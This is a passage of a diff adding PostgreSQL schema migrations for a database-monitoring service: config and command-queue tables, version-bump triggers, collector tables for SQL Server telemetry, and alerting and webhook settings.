+CREATE TABLE IF NOT EXISTS config.config_collector_schedules (
+    server_id integer,
+    collector_name text NOT NULL,
+    frequency_minutes integer CHECK (frequency_minutes >= 0),
+    retention_days integer CHECK (retention_days >= 1),
+    enabled boolean NOT NULL DEFAULT TRUE
+);
+CREATE UNIQUE INDEX IF NOT EXISTS ux_config_collector_schedules_fleet
+    ON config.config_collector_schedules (collector_name) WHERE server_id IS NULL;
+CREATE UNIQUE INDEX IF NOT EXISTS ux_config_collector_schedules_server
+    ON config.config_collector_schedules (server_id, collector_name) WHERE server_id IS NOT NULL;
+
+/* 5. config_service — single row: the service-wide flags + the config_version reload beacon. */
+CREATE TABLE IF NOT EXISTS config.config_service (
+    id smallint NOT NULL PRIMARY KEY DEFAULT 1 CHECK (id = 1),
+    paused boolean NOT NULL DEFAULT FALSE,
+    capture_plans boolean NOT NULL DEFAULT TRUE,
+    mcp_enabled boolean NOT NULL DEFAULT FALSE,
+    mcp_port integer NOT NULL DEFAULT 5152,
+    config_version bigint NOT NULL DEFAULT 0,
+    updated_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    updated_by text
+);
+
+/* --- B. Command plane: the Viewer enqueues, the service (Stage 2) claims/executes/reports. --- */
+
+/* 6. config_command — the imperative queue. GENERATED ALWAYS AS IDENTITY (a natural queue key that
+      needs no sequence USAGE grant for admin INSERTs, unlike serial). */
+CREATE TABLE IF NOT EXISTS config.config_command (
+    command_id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+    created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    requested_by text,
+    command_type text NOT NULL,
+    target_server_id integer,
+    args_json jsonb,
+    status text NOT NULL DEFAULT 'pending',
+    claimed_at timestamp,
+    completed_at timestamp,
+    result_status text,
+    result_json jsonb,
+    service_instance text
+);
+CREATE INDEX IF NOT EXISTS idx_config_command_status ON config.config_command (status);
+
+/* --- C. The config_version reload beacon (bump triggers). --- */
+
+/* Statement-level bump on the four desired-state tables: any write increments the beacon so the
+   Viewer can never forget to signal. Targets config_service by qualified name (SECURITY INVOKER —
+   both writers, the owner during seed and admin via the Viewer, hold UPDATE on config_service). */
+CREATE OR REPLACE FUNCTION config.config_bump_version() RETURNS trigger
+LANGUAGE plpgsql AS $bump$
+BEGIN
+    UPDATE config.config_service
+       SET config_version = config_version + 1,
+           updated_at = (now() AT TIME ZONE 'UTC')
+     WHERE id = 1;
+    RETURN NULL;
+END;
+$bump$;
+
+/* Direct writes to config_service (pause/capture/mcp) self-bump the beacon without recursion: the
+   BEFORE-UPDATE trigger increments NEW.config_version only when the writer did not already change it
+   (so the config_bump_version UPDATE above, which sets config_version explicitly, is not doubled). */
+CREATE OR REPLACE FUNCTION config.config_service_bump() RETURNS trigger
+LANGUAGE plpgsql AS $svc$
+BEGIN
+    IF NEW.config_version = OLD.config_version THEN
+        NEW.config_version := OLD.config_version + 1;
+    END IF;
+    NEW.updated_at := (now() AT TIME ZONE 'UTC');
+    RETURN NEW;
+END;
+$svc$;
+
+DROP TRIGGER IF EXISTS trg_bump_monitored_servers ON config.config_monitored_servers;
+CREATE TRIGGER trg_bump_monitored_servers
+    AFTER INSERT OR UPDATE OR DELETE ON config.config_monitored_servers
+    FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();
+
+DROP TRIGGER IF EXISTS trg_bump_alert_settings ON config.config_alert_settings;
+CREATE TRIGGER trg_bump_alert_settings
+    AFTER INSERT OR UPDATE OR DELETE ON config.config_alert_settings
+    FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();
+
+DROP TRIGGER IF EXISTS trg_bump_notification ON config.config_notification;
+CREATE TRIGGER trg_bump_notification
+    AFTER INSERT OR UPDATE OR DELETE ON config.config_notification
+    FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();
+
+DROP TRIGGER IF EXISTS trg_bump_collector_schedules ON config.config_collector_schedules;
+CREATE TRIGGER trg_bump_collector_schedules
+    AFTER INSERT OR UPDATE OR DELETE ON config.config_collector_schedules
+    FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();
+
+DROP TRIGGER IF EXISTS trg_service_self_bump ON config.config_service;
+CREATE TRIGGER trg_service_self_bump
+    BEFORE UPDATE ON config.config_service
+    FOR EACH ROW EXECUTE FUNCTION config.config_service_bump();
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (17, 'config-control-plane', now()::timestamp);
+-- ===BATCH=== V18 alert-delivery-mode
+
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS delivery_mode text NOT NULL DEFAULT 'Summary';
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS per_event_max integer NOT NULL DEFAULT 5;
+ALTER TABLE config.config_monitored_servers ADD COLUMN IF NOT EXISTS alert_delivery_mode_override text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (18, 'alert-delivery-mode', now()::timestamp);
+-- ===BATCH=== V19 analysis-state-marker
+
+CREATE TABLE IF NOT EXISTS collect.analysis_state (
+    server_id integer NOT NULL PRIMARY KEY,
+    insufficient_data boolean NOT NULL DEFAULT FALSE,
+    message text,
+    analysis_time timestamp NOT NULL
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (19, 'analysis-state-marker', now()::timestamp);
+-- ===BATCH=== V20 alert-tuning-knobs
+
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS long_running_query_max_results integer NOT NULL DEFAULT 5;
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS long_running_query_exclude_sp_server_diagnostics boolean NOT NULL DEFAULT TRUE;
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS long_running_query_exclude_wait_for boolean NOT NULL DEFAULT TRUE;
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS long_running_query_exclude_backups boolean NOT NULL DEFAULT TRUE;
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS long_running_query_exclude_misc_waits boolean NOT NULL DEFAULT TRUE;
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS long_running_query_exclude_cdc boolean NOT NULL DEFAULT TRUE;
+ALTER TABLE config.config_alert_settings ADD COLUMN IF NOT EXISTS notify_connection_changes boolean NOT NULL DEFAULT TRUE;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (20, 'alert-tuning-knobs', now()::timestamp);
+-- ===BATCH=== V21 default-trace-events-collector
+
+CREATE TABLE IF NOT EXISTS collect.default_trace_events (
+    default_trace_event_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_time timestamp,
+    event_name text,
+    event_class integer,
+    spid integer,
+    database_name text,
+    database_id integer,
+    login_name text,
+    host_name text,
+    application_name text,
+    object_name text,
+    filename text,
+    integer_data bigint,
+    integer_data_2 bigint,
+    text_data text,
+    session_login_name text,
+    error_number integer,
+    severity integer,
+    state integer,
+    event_sequence bigint,
+    duration_us bigint,
+    end_time timestamp
+);
+
+CREATE INDEX IF NOT EXISTS idx_default_trace_events_time ON collect.default_trace_events(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (21, 'default-trace-events-collector', now()::timestamp);
+-- ===BATCH=== V22 index-object-stats-latest-index
+
+CREATE INDEX IF NOT EXISTS idx_index_object_stats_latest ON collect.index_object_stats (server_id, database_id, object_id, index_id, collection_time DESC);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (22, 'index-object-stats-latest-index', now()::timestamp);
+-- ===BATCH=== V23 collection-log-hypertable
+
+/* V23: best-effort UPGRADE fast-path that converts collect.collection_log to a TimescaleDB hypertable + compresses
+   it, mirroring the collector hypertables. GUARDED on the extension (plain PostgreSQL skips it, keeping the table a
+   heap with batched-DELETE retention) and wrapped in EXCEPTION WHEN OTHERS so it can NEVER abort the startup-critical
+   migration. The AUTHORITATIVE conversion is TimescaleSupport.EnsureCollectionLogHypertableAsync at runtime (after
+   CREATE EXTENSION), which is the proven-live path and self-heals a fresh store this guard skipped. collection_log is
+   NOT in the collector catalog, so the runtime catalog loops never touch it. */
+DO $$
+BEGIN
+    IF EXISTS (SELECT 1 FROM pg_extension WHERE extname = 'timescaledb') THEN
+        PERFORM create_hypertable('collect.collection_log', by_range('collection_time', INTERVAL '1 days'), if_not_exists => true, migrate_data => true);
+        ALTER TABLE collect.collection_log SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id');
+        PERFORM add_compression_policy('collect.collection_log', compress_after => INTERVAL '1 days', if_not_exists => true);
+    END IF;
+EXCEPTION WHEN OTHERS THEN
+    RAISE WARNING 'V23: deferred collection_log hypertable conversion to the runtime path (%): %', SQLSTATE, SQLERRM;
+END
+$$;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (23, 'collection-log-hypertable', now()::timestamp);
+-- ===BATCH=== V24 job-history-collector
+
+CREATE TABLE IF NOT EXISTS collect.job_history (
+    job_history_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    instance_id bigint,
+    job_id text,
+    job_name text,
+    job_enabled boolean,
+    category_name text,
+    step_id integer,
+    step_name text,
+    run_status integer,
+    run_status_desc text,
+    run_datetime timestamp,
+    run_duration_seconds bigint,
+    retries_attempted integer,
+    message text
+);
+
+CREATE INDEX IF NOT EXISTS idx_job_history_time ON collect.job_history(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (24, 'job-history-collector', now()::timestamp);
+-- ===BATCH=== V25 agent-status-collector
+
+CREATE TABLE IF NOT EXISTS collect.agent_status (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    agent_running boolean,
+    agent_status_desc text,
+    agent_startup_desc text,
+    next_scheduled_run timestamp
+);
+
+CREATE INDEX IF NOT EXISTS idx_agent_status_time ON collect.agent_status(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (25, 'agent-status-collector', now()::timestamp);
+-- ===BATCH=== V26 generic-webhook-channel
+
+ALTER TABLE config.config_notification ADD COLUMN IF NOT EXISTS generic_url text NOT NULL DEFAULT '';
+ALTER TABLE config.config_notification ADD COLUMN IF NOT EXISTS generic_headers text NOT NULL DEFAULT '';
+ALTER TABLE config.config_notification ADD COLUMN IF NOT EXISTS generic_body_template text NOT NULL DEFAULT '';
+ALTER TABLE config.config_notification ADD COLUMN IF NOT EXISTS generic_proxy text NOT NULL DEFAULT '';
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (26, 'generic-webhook-channel', now()::timestamp);
+-- ===BATCH=== V27 deadlocks-database-name
+
+ALTER TABLE deadlocks ADD COLUMN IF NOT EXISTS database_name text;
+CREATE OR REPLACE VIEW v_deadlocks AS SELECT * FROM deadlocks;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (27, 'deadlocks-database-name', now()::timestamp);
+-- ===BATCH=== V28 query-store-replica-role
+
+ALTER TABLE query_store_stats ADD COLUMN IF NOT EXISTS replica_role text;
+CREATE OR REPLACE VIEW v_query_store_stats AS SELECT * FROM query_store_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (28, 'query-store-replica-role', now()::timestamp);
+-- ===BATCH=== V29 long-query-completions-collector
+
+CREATE TABLE IF NOT EXISTS collect.long_query_completions (
+    long_query_completion_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_time timestamp,
+    event_type text,
+    database_id integer,
+    database_name text,
+    session_id integer,
+    client_app_name text,
+    client_pid integer,
+    nt_username text,
+    server_principal_name text,
+    query_hash text,
+    event_sequence bigint,
+    duration_microseconds bigint,
+    cpu_time_microseconds bigint,
+    physical_reads bigint,
+    logical_reads bigint,
+    writes bigint,
+    row_count bigint,
+    result text,
+    statement_text text,
+    object_name text
+);
+
+CREATE INDEX IF NOT EXISTS idx_long_query_completions_time ON collect.long_query_completions(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (29, 'long-query-completions-collector', now()::timestamp);
+-- ===BATCH=== V30 web-dashboard-config
+
+ALTER TABLE config.config_service ADD COLUMN IF NOT EXISTS web_enabled boolean NOT NULL DEFAULT FALSE;
+ALTER TABLE config.config_service ADD COLUMN IF NOT EXISTS web_port integer NOT NULL DEFAULT 5153;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (30, 'web-dashboard-config', now()::timestamp);
+-- ===BATCH=== V31 custom-views-table
+
+CREATE TABLE IF NOT EXISTS config.custom_views (
+    id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+    name text NOT NULL UNIQUE,
+    definition jsonb NOT NULL,
+    description text,
+    version integer NOT NULL DEFAULT 1,
+    created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    updated_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    updated_by text
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (31, 'custom-views-table', now()::timestamp);
+-- ===BATCH=== V32 server-tags
+
+CREATE TABLE IF NOT EXISTS config.server_tags (
+    id integer GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+    name text NOT NULL,
+    parent_id integer REFERENCES config.server_tags(id) ON DELETE CASCADE,
+    sort_order integer NOT NULL DEFAULT 0,
+    created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC')
+);
+
+CREATE UNIQUE INDEX IF NOT EXISTS ux_server_tags_parent_name
+    ON config.server_tags (COALESCE(parent_id, 0), lower(name));
+
+CREATE TABLE IF NOT EXISTS config.server_tag_map (
+    server_id integer NOT NULL,
+    tag_id integer NOT NULL REFERENCES config.server_tags(id) ON DELETE CASCADE,
+    PRIMARY KEY (server_id, tag_id)
+);
+
+CREATE INDEX IF NOT EXISTS idx_server_tag_map_tag
+    ON config.server_tag_map (tag_id);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (32, 'server-tags', now()::timestamp);
+-- ===BATCH=== V33 connection-alert-refire
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS notify_connection_down_at_startup boolean NOT NULL DEFAULT false,
+    ADD COLUMN IF NOT EXISTS connection_refire_minutes integer NOT NULL DEFAULT 0;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (33, 'connection-alert-refire', now()::timestamp);
+-- ===BATCH=== V34 availability-group-collectors
+
+CREATE TABLE IF NOT EXISTS collect.ag_replica_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    ag_name text,
+    replica_server_name text,
+    role_desc text,
+    operational_state_desc text,
+    connected_state_desc text,
+    recovery_health_desc text,
+    synchronization_health_desc text,
+    availability_mode_desc text,
+    failover_mode_desc text,
+    endpoint_url text
+);
+
+CREATE INDEX IF NOT EXISTS idx_ag_replica_states_time ON collect.ag_replica_states(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS collect.ag_database_replica_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    ag_name text,
+    database_name text,
+    replica_server_name text,
+    is_local boolean,
+    synchronization_state_desc text,
+    last_hardened_lsn text,
+    last_commit_lsn text,
+    log_send_queue_size bigint,
+    redo_queue_size bigint,
+    log_send_rate bigint,
+    redo_rate bigint,
+    is_suspended boolean,
+    suspend_reason_desc text,
+    availability_mode_desc text,
+    secondary_lag_seconds bigint
+);
+
+CREATE INDEX IF NOT EXISTS idx_ag_database_replica_states_time ON collect.ag_database_replica_states(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (34, 'availability-group-collectors', now()::timestamp);
+-- ===BATCH=== V35 availability-group-alerts
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS notify_ag_health boolean NOT NULL DEFAULT true,
+    ADD COLUMN IF NOT EXISTS ag_lag_alert_seconds integer NOT NULL DEFAULT 300,
+    ADD COLUMN IF NOT EXISTS ag_redo_queue_alert_kb bigint NOT NULL DEFAULT 0;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (35, 'availability-group-alerts', now()::timestamp);
+-- ===BATCH=== V36 ag-latency-columns
+
+ALTER TABLE collect.ag_database_replica_states
+    ADD COLUMN IF NOT EXISTS last_commit_time timestamp,
+    ADD COLUMN IF NOT EXISTS last_hardened_time timestamp,
+    ADD COLUMN IF NOT EXISTS last_redone_time timestamp,
+    ADD COLUMN IF NOT EXISTS last_received_time timestamp,
+    ADD COLUMN IF NOT EXISTS est_redo_completion_time_min double precision,
+    ADD COLUMN IF NOT EXISTS est_send_drain_time_min double precision;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (36, 'ag-latency-columns', now()::timestamp);
+-- ===BATCH=== V37 ag-local-replica-and-disconnect-refire
+
+ALTER TABLE collect.ag_replica_states
+    ADD COLUMN IF NOT EXISTS is_local boolean;
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS ag_disconnect_refire_minutes integer NOT NULL DEFAULT 0;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (37, 'ag-local-replica-and-disconnect-refire', now()::timestamp);
+-- ===BATCH=== V38 query-payload-dimensions
+/* V38: hash-keyed dimension tables for query_stats / procedure_stats payloads (#1767).
+   query_text/query_plan_xml stored inline per row were 94% of a 250 GB field store;
+   a measured 1-hour window held 3,166 MB of payload across 23 MB of distinct content.
+   ZERO-REWRITE: the inline columns stay, new rows leave them NULL, readers coalesce,
+   and raw retention ages the inline copies out on its own. */
+
+CREATE TABLE IF NOT EXISTS query_text_dim (
+    digest bytea NOT NULL PRIMARY KEY,
+    query_text text NOT NULL,
+    last_seen timestamp NOT NULL
+);
+CREATE INDEX IF NOT EXISTS idx_query_text_dim_last_seen ON query_text_dim(last_seen);
+
+CREATE TABLE IF NOT EXISTS query_plan_dim (
+    digest bytea NOT NULL PRIMARY KEY,
+    query_plan_xml text NULL,
+    query_plan_gz bytea NULL,
+    last_seen timestamp NOT NULL
+);
+CREATE INDEX IF NOT EXISTS idx_query_plan_dim_last_seen ON query_plan_dim(last_seen);
+
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_text_digest bytea;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_digest bytea;
+ALTER TABLE procedure_stats ADD COLUMN IF NOT EXISTS query_plan_digest bytea;
+/* Pre-adds for the payload-resolving view below: it names every payload column the
+   collector has today, and a store replaying this rung may predate the ALTER that adds
+   one of them. Idempotent, so this is a no-op wherever they already exist. */
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS database_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS creation_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS last_execution_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_clr_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_text text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sql_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_generation_num bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS host_object_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml_bytes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_start_offset integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_end_offset integer;
+ALTER TABLE query_plan_dim ADD COLUMN IF NOT EXISTS query_plan_gz bytea;
+
+/* v_query_stats resolves each row's payload: the inline column for rows written before
+   the dimension tables existed, the dimension row for every row written since (#1767).
+   Column list generated from the collector definition so it can never go stale. */
+CREATE OR REPLACE VIEW v_query_stats AS
+SELECT
+    f.collection_id,
+    f.collection_time,
+    f.server_id,
+    f.server_name,
+    f.database_name,
+    f.query_hash,
+    f.query_plan_hash,
+    f.creation_time,
+    f.last_execution_time,
+    f.execution_count,
+    f.total_worker_time,
+    f.total_elapsed_time,
+    f.total_logical_reads,
+    f.total_logical_writes,
+    f.total_physical_reads,
+    f.total_clr_time,
+    f.total_rows,
+    f.total_spills,
+    f.min_worker_time,
+    f.max_worker_time,
+    f.min_elapsed_time,
+    f.max_elapsed_time,
+    f.min_physical_reads,
+    f.max_physical_reads,
+    f.min_rows,
+    f.max_rows,
+    f.min_dop,
+    f.max_dop,
+    f.min_grant_kb,
+    f.max_grant_kb,
+    f.min_used_grant_kb,
+    f.max_used_grant_kb,
+    f.min_ideal_grant_kb,
+    f.max_ideal_grant_kb,
+    f.min_reserved_threads,
+    f.max_reserved_threads,
+    f.min_used_threads,
+    f.max_used_threads,
+    f.min_spills,
+    f.max_spills,
+    COALESCE(f.query_text, qtd.query_text) AS query_text,
+    COALESCE(f.query_plan_xml, qpd.query_plan_xml) AS query_plan_xml,
+    f.sql_handle,
+    f.plan_handle,
+    f.delta_execution_count,
+    f.delta_worker_time,
+    f.delta_elapsed_time,
+    f.delta_logical_reads,
+    f.delta_logical_writes,
+    f.delta_physical_reads,
+    f.delta_rows,
+    f.delta_spills,
+    f.plan_generation_num,
+    f.sample_interval_seconds,
+    f.host_object_name,
+    f.query_plan_xml_bytes,
+    f.statement_start_offset,
+    f.statement_end_offset,
+    f.query_text_digest,
+    f.query_plan_digest,
+    qpd.query_plan_gz
+FROM query_stats AS f
+LEFT JOIN query_text_dim AS qtd ON qtd.digest = f.query_text_digest
+LEFT JOIN query_plan_dim AS qpd ON qpd.digest = f.query_plan_digest
+;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (38, 'query-payload-dimensions', now()::timestamp);
+-- ===BATCH=== V39 dim-feeding-fact-floor-indexes
+
+CREATE INDEX IF NOT EXISTS ix_query_stats_digest_floor
+    ON query_stats (collection_time)
+    WHERE query_text_digest IS NOT NULL OR query_plan_digest IS NOT NULL;
+
+CREATE INDEX IF NOT EXISTS ix_procedure_stats_digest_floor
+    ON procedure_stats (collection_time)
+    WHERE query_plan_digest IS NOT NULL;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (39, 'dim-feeding-fact-floor-indexes', now()::timestamp);
+-- ===BATCH=== V40 blocking-wait-threshold
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS blocking_wait_seconds_threshold integer NOT NULL DEFAULT 0;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (40, 'blocking-wait-threshold', now()::timestamp);
+-- ===BATCH=== V41 query-store-interval-identity
+
+ALTER TABLE query_store_stats ADD COLUMN IF NOT EXISTS runtime_stats_interval_id bigint;
+ALTER TABLE query_store_stats ADD COLUMN IF NOT EXISTS interval_start_time_utc timestamp;
+CREATE OR REPLACE VIEW v_query_store_stats AS SELECT * FROM query_store_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (41, 'query-store-interval-identity', now()::timestamp);
+-- ===BATCH=== V42 pagerduty-webhook
+
+ALTER TABLE config.config_notification
+    ADD COLUMN IF NOT EXISTS pagerduty_routing_key text NOT NULL DEFAULT '',
+    ADD COLUMN IF NOT EXISTS pagerduty_use_eu_region boolean NOT NULL DEFAULT FALSE;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (42, 'pagerduty-webhook', now()::timestamp);
+-- ===BATCH=== V43 pagerduty-proxy
+
+ALTER TABLE config.config_notification
+    ADD COLUMN IF NOT EXISTS pagerduty_proxy text NOT NULL DEFAULT '';
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (43, 'pagerduty-proxy', now()::timestamp);
+-- ===BATCH=== V44 collector-state
+
+CREATE TABLE IF NOT EXISTS collect.collector_state (
+    server_id integer NOT NULL,
+    collector_name text NOT NULL,
+    state_key text NOT NULL,
+    state_value text NOT NULL,
+    updated_at timestamp NOT NULL,
+    PRIMARY KEY (server_id, collector_name, state_key)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (44, 'collector-state', now()::timestamp);
+-- ===BATCH=== V46 plan-correction-collector
+
+CREATE TABLE IF NOT EXISTS collect.plan_correction (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    force_last_good_plan_desired_state text,
+    force_last_good_plan_actual_state text,
+    force_last_good_plan_reason text,
+    create_index_actual_state text,
+    drop_index_actual_state text,
+    recommendation_name text,
+    recommendation_type text,
+    recommendation_state text,
+    recommendation_state_reason text,
+    recommendation_reason text,
+    valid_since timestamp,
+    last_refresh timestamp,
+    score integer,
+    query_id bigint,
+    query_text text,
+    regressed_plan_id bigint,
+    last_good_plan_id bigint,
+    last_good_plan_forcing_type text,
+    last_good_plan_is_forced boolean,
+    last_good_plan_force_failure_reason text,
+    regressed_plan_execution_count bigint,
+    regressed_plan_cpu_time_average_ms double precision,
+    regressed_plan_error_count bigint,
+    last_good_plan_execution_count bigint,
+    last_good_plan_cpu_time_average_ms double precision,
+    last_good_plan_error_count bigint,
+    estimated_gain_seconds double precision,
+    is_executable_action boolean,
+    is_revertable_action boolean,
+    execute_action_initiated_by text,
+    execute_action_initiated_time timestamp,
+    execute_action_start_time timestamp,
+    execute_action_duration_seconds double precision,
+    revert_action_initiated_by text,
+    revert_action_initiated_time timestamp,
+    revert_action_start_time timestamp,
+    revert_action_duration_seconds double precision,
+    implementation_script text
+);
+
+CREATE INDEX IF NOT EXISTS idx_plan_correction_time ON collect.plan_correction(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (46, 'plan-correction-collector', now()::timestamp);
+-- ===BATCH=== V47 pvs-stats
+
+CREATE TABLE IF NOT EXISTS collect.pvs_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    database_id integer,
+    is_accelerated_database_recovery_on boolean,
+    pvs_filegroup_id smallint,
